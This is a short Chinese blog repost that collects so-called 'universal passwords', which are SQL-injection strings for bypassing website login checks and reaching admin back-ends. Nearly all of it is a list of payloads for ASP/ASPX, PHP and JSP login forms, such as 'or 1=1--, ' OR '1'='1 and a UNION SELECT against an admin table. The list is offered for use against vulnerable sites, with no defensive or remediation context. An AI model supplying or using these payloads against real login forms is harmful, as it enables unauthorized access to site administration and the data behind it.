网站万能密码收集

本文主要是介绍网站万能密码收集，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

本文转自：http://hi.baidu.com/foraya/item/9cb8272c92b9ef1b73863e29

所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。

自己也有过收集，别人总结的我又添加了几个

asp aspx万能密码

1："or "a"="a
2： ')or('a'='a 
3：or 1=1--
4：'or 1=1--
5：a'or' 1=1--
6："or 1=1--
7：'or'a'='a
8："or"="a'='a
9：'or''='
10：'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00 
14: "or 1=1%00
15: 'xor 
16: 用户名 ' UNION Select 1,1,1 FROM admin Where ''=' （替换表名admin）
密码 1

17..admin' or 'a'='a 密码随便

PHP万能密码

'or 1=1/*

User: something 
Pass: ' OR '1'='1

jsp 万能密码

1'or'1'='1

admin' OR 1=1/*

这篇关于网站万能密码收集的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---